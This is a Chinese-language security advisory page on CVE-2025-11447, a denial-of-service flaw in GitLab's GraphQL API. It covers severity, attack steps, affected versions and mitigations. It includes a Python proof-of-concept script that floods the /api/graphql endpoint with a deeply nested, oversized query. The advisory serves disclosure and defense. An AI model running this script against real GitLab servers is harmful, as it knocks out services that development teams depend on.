IPBUF安全漏洞报告
English
CVE-2025-11447 CVSS 7.5 高危

CVE-2025-11447 GitLab GraphQL API 拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-11447
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

拒绝服务GraphQLGitLabAPI安全CVE-2025-11447JSON注入高危漏洞

漏洞概述

CVE-2025-11447是GitLab CE/EE中的一个拒绝服务漏洞。该漏洞存在于GitLab的GraphQL API组件中,攻击者可以无需任何认证,通过发送精心构造的恶意JSON负载的GraphQL请求,即可触发该漏洞。成功利用此漏洞可导致GitLab服务不可用,造成应用程序拒绝响应,从而影响依赖该平台的开发团队的正常工作。由于攻击无需身份验证,且可通过网络远程执行,这使得该漏洞具有较高的危害性。所有使用受影响版本GitLab的组织都应及时更新到安全版本以防止潜在攻击。

技术细节

该漏洞根源于GitLab GraphQL API对JSON输入验证不足。攻击者构造包含深层嵌套结构、巨大数组或特殊构造的JSON payload,通过GraphQL端点(通常为/graphql)发送请求。GitLab的GraphQL解析器在处理这些恶意输入时,会消耗大量CPU和内存资源。当请求数量增加或payload复杂度提升时,服务器资源被耗尽,导致服务无响应。漏洞利用的关键在于GraphQL规范允许复杂查询结构,攻击者可利用这一点构造超出服务器处理能力的请求。CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N),可用性影响高(A:H),表明攻击易于实施且影响显著。

攻击链分析

STEP 1
步骤1
攻击者识别目标GitLab实例并确认版本号在受影响范围内(< 18.3.5, < 18.4.3, < 18.5.1)
STEP 2
步骤2
攻击者构造包含深层嵌套JSON结构或超大数组的恶意GraphQL查询请求
STEP 3
步骤3
攻击者通过HTTP POST向目标GitLab的/api/graphql端点发送精心构造的请求,无需任何认证
STEP 4
步骤4
GitLab GraphQL解析器处理恶意payload,消耗大量服务器CPU和内存资源
STEP 5
步骤5
服务器资源被耗尽,无法响应正常用户请求,导致服务拒绝(DoS)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json import time # CVE-2025-11447 PoC - GitLab GraphQL DoS # Target: GitLab CE/EE < 18.3.5, < 18.4.3, < 18.5.1 TARGET_URL = "http://target-gitlab.com" # Replace with target URL GRAPHQL_ENDPOINT = f"{TARGET_URL}/api/graphql" def create_dos_payload(): """Generate nested JSON payload to exhaust server resources""" # Deeply nested structure to cause DoS payload = { "query": """ query { users(first: 10000) { edges { node { id username email projects(first: 10000) { edges { node { id name issues(first: 10000) { edges { node { id title description } } } } } } } } } } """, "variables": { "nested_data": {"level1": {"level2": {"level3": {"level4": {"level5": {"level6": {"level7": {"level8": {"data": "x" * 10000}}}}}}}} } } return payload def exploit(): """Send malicious GraphQL request""" print(f"[*] Targeting: {GRAPHQL_ENDPOINT}") print("[*] Sending DoS payload...") payload = create_dos_payload() try: response = requests.post( GRAPHQL_ENDPOINT, json=payload, headers={"Content-Type": "application/json"}, timeout=30 ) print(f"[+] Request sent. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-11447 PoC - GitLab GraphQL DoS") exploit()

影响范围

GitLab CE/EE >= 11.0 且 < 18.3.5
GitLab CE/EE >= 18.4.0 且 < 18.4.3
GitLab CE/EE >= 18.5.0 且 < 18.5.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 在负载均衡器或API网关层面限制GraphQL端点的请求频率;2) 限制GraphQL查询的复杂度阈值;3) 对/api/graphql端点实施IP黑名单;4) 启用GitLab的DoS保护机制;5) 监控服务器资源使用情况以便及时发现异常。建议在条件允许时尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表